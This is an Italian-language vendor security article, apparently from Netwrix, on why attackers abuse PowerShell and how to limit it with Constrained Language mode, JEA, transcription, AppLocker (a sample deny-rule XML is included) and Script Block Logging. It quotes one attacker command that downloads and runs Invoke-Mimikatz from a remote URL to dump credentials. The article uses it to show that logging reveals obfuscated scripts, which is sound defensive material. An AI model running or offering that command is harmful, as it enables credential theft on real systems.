Perché PowerShell è così popolare tra gli aggressori?

Perché PowerShell è una piattaforma di attacco così popolare?

Allora, perché così tanti cybercriminali usano PowerShell per lanciare i loro attacchi? Beh, per una cosa, è gratuito. Altre ragioni includono le seguenti:

• La maggior parte degli utenti aziendali ha PowerShell abilitato sui loro dispositivi endpoint Windows.
• PowerShell utilizza un approccio senza file che esegue comandi e script direttamente nella memoria, rendendo difficile la rilevazione.
• Può accedere a quasi qualsiasi dispositivo Windows avviando una connessione remota.
• Gli attori delle minacce possono sfruttare PowerShell utilizzando altri strumenti dannosi come Empire, DeathStar e CrackMapExec.
• Ci sono molteplici script disponibili su GitHub e altri luoghi (come Invoke-Mimikatz) che gli aggressori possono utilizzare.

Una volta che un attaccante ottiene l'accesso iniziale in un ambiente on-prem, può utilizzare PowerShell per ottenere visibilità nella tua rete e muoversi lateralmente per accedere ai tuoi dati più sensibili e ad altre risorse IT.

Come ridurre il rischio da PowerShell

Poiché PowerShell viene utilizzato in così tanti tipi diversi di attacchi, è imperativo implementare misure di protezione per combattere il suo uso malevolo. Vediamo alcune modalità per ridurre il rischio di minacce indotte da PowerShell.

Limitare i privilegi dell'Admin locale

Nell'era della rete Zero Trust, gli utenti standard non dovrebbero avere diritti di amministratore locale sui loro dispositivi a meno che non sia necessario per il loro lavoro. Anche se negare i diritti di amministratore locale non limita l'accesso a PowerShell, limita ciò che un utente — o un avversario che ha compromesso il loro account — può fare con PowerShell perché molti comandi e script di PowerShell richiedono privilegi elevati per funzionare. Inoltre, negare i diritti di amministratore locale limiterà l'accesso dell'utente a cartelle sensibili e impostazioni di sistema.

Utilizza la Modalità Linguaggio Vincolato

Windows PowerShell supporta diverse modalità linguistiche che determinano quali parti di PowerShell possono essere utilizzate. La modalità Constrained Language è stata sviluppata per il sistema operativo Windows RT e successivamente aggiunta a Windows PowerShell V5, che è utilizzato in tutti i moderni sistemi operativi Windows oggi.

Puoi avviare la sessione PowerShell in modalità Full Language, come mostrato di seguito:

Puoi mettere una sessione di PowerShell in modalità Linguaggio Ristretto con il seguente comando:

In modalità Linguaggio Limitato, PowerShell è limitato a un insieme ristretto di comandi e script. L'esecuzione di comandi al di fuori di queste restrizioni è bloccata, come mostrato nell'esempio sottostante:

La modalità Constrained Language limita anche l'accesso a determinate funzionalità di PowerShell, come l'utilizzo dei profili PowerShell e la capacità di caricare moduli PowerShell aggiuntivi. Collettivamente, queste restrizioni aiutano a prevenire che gli hacker utilizzino PowerShell per eludere le misure di sicurezza del sistema.

Sfortunatamente, c'è una debolezza evidente con questa misura protettiva: un utente può semplicemente avviare una nuova sessione di PowerShell, che per impostazione predefinita verrà eseguita in modalità Full Language e avrà pieno accesso alle funzionalità di PowerShell.

Usa PowerShell Just Enough Administration (JEA)

PowerShell Just Enough Administration consente di applicare un sistema basato sui ruoli per le attività amministrative. Pensate a JEA come al principio di minimo privilegio per la sicurezza di PowerShell. Quando un utente inizia una sessione JEA, gli viene assegnata una forma ristretta di PowerShell che gli permette di eseguire solo i compiti e i comandi associati al suo ruolo. Questo impedisce loro di eseguire comandi privilegiati di cui non hanno bisogno.

Abilitare JEA è un processo multi-fase. Il primo passo è creare un file di compatibilità del ruolo, come mostrato di seguito:

Dovrai quindi modificare il file .prsc e definire le specifiche capacità del ruolo, come consentire l'esecuzione di comandi specifici da parte dell'utente. Altri passaggi includono la creazione di un file di configurazione della sessione e poi utilizzare quel file per registrare un nuovo endpoint JEA sul computer locale.

Ottieni visibilità sull'attività

È necessario sapere cosa sta succedendo nel tuo ambiente IT. Un'opzione è utilizzare il Windows event forwarding (WEF), uno strumento gratuito nel sistema operativo Windows che può raccogliere e centralizzare i log degli eventi da sistemi distribuiti. Un approccio di terze parti sarebbe una soluzione di security information and event management (SIEM). I SIEM possono raccogliere dati da una vasta collezione di sistemi disparati e aggregare tali dati per fornire una visione completa di ciò che sta accadendo in tutto l'ambiente.

Dovresti anche abilitare le trascrizioni di sistema di PowerShell, che registreranno tutta l'attività di PowerShell sui sistemi designati in modo che i comandi eseguiti possano essere esaminati. Questo può essere utile per audit e indagini forensi. Per abilitare le trascrizioni di sistema di PowerShell, crea un oggetto Group Policy object (GPO), vai a Configurazione del computer > Modelli amministrativi > Componenti di Windows > PowerShell e attiva Enable PowerShell Transcription come mostrato di seguito:

Utilizza AppLocker per disabilitare PowerShell e gli script

AppLocker è incluso in Windows 10 Enterprise e offre un modo utile per consentire l'esecuzione di applicazioni e script. Può essere configurato localmente su un sistema o tramite Group Policy. Per utilizzare Group Policy, crea un GPO, vai su Configurazione computer > Impostazioni Windows > Impostazioni di sicurezza > Criteri di controllo applicazioni > AppLocker. Crea una regola eseguibile e seleziona Nega come mostrato di seguito:

È possibile bloccare le applicazioni per editore, percorso del file o hash del file. La politica di esempio sottostante blocca per hash del file e consente solo agli amministratori locali di eseguire PowerShell; l'accesso da parte di qualsiasi altro utente verrà bloccato.

Puoi quindi distribuire la policy utilizzando Group Policy o esportarla come file XML e importarla in un MDM come Intune. Il codice XML per la policy esportata è mostrato di seguito:

      <AppLockerPolicy Version="1">

<RuleCollection Type="Exe" EnforcementMode="NotConfigured">

<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">

<Conditions>

<FilePathCondition Path="*" />

</Conditions>

</FilePathRule>

<FileHashRule Id="5d5ed1c5-a9db-4e46-8e88-80aade9dbb5c" Name="powershell.exe" Description="Block PowerShell" UserOrGroupSid="S-1-1-0" Action="Deny">

<Conditions>

<FileHashCondition>

<FileHash Type="SHA256" Data="0x68705285F7914823244E19E4F6DBC4A75C4DE807EA1CF128AEC2CCAFCE5FE109" SourceFileName="powershell.exe" SourceFileLength="448000" />

</FileHashCondition>

</Conditions>

</FileHashRule>

</RuleCollection>

<RuleCollection Type="Msi" EnforcementMode="NotConfigured" />

<RuleCollection Type="Script" EnforcementMode="NotConfigured" />

<RuleCollection Type="Dll" EnforcementMode="NotConfigured" />

<RuleCollection Type="Appx" EnforcementMode="NotConfigured" />

</AppLockerPolicy>
      

Puoi anche assicurarti che solo i file di una cartella designata possano essere eseguiti utilizzando le politiche delle Script Rules per creare una regola di consenso per una cartella specificata usando uno script PowerShell semplice come questo:

Rileva PowerShell maligno con il logging dei blocchi di script

PowerShell 5 introduce diverse nuove tecniche per tracciare gli script PowerShell maligni. Una di queste è il Script Block Logging. Questo livello di registrazione è attivo per impostazione predefinita con PowerShell 5 e fornisce una registrazione in chiaro dell'intero script eseguito da PowerShell. Questo è utile perché molti attacchi PowerShell sfruttano script codificati che sono difficili da decifrare.

Vediamo un metodo che un attaccante potrebbe utilizzare per nascondere i propri script, usando uno script come il seguente che scaricherà ed eseguirà Invoke-Mimikatz:

powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”

Utilizzando PowerSploit e Out-EncodedCommand, un avversario può creare una versione codificata di questo comando che è ancora più offuscata:

Tuttavia, i log degli eventi di PowerShell mostrano esattamente ciò che è stato eseguito, senza alcuna codifica:

Come Netwrix può aiutare

Mentre le organizzazioni possono utilizzare queste strategie di mitigazione e rilevazione per monitorare e proteggersi dagli script maligni, esistono prodotti di terze parti che semplificano il lavoro. Netwrix Endpoint Privilege Manager rende facile creare liste di permessi e divieti per bloccare automaticamente gli utenti dall'eseguire applicazioni indesiderate, inclusa PowerShell. Inoltre, questo strumento consente di rimuovere i diritti di amministratore locale pur consentendo agli utenti di eseguire i compiti amministrativi necessari per un'elevata produttività.

PowerShell è uno strumento potente. Assicurati di prendere le dovute precauzioni per evitare che gli avversari possano usarlo così facilmente contro di te.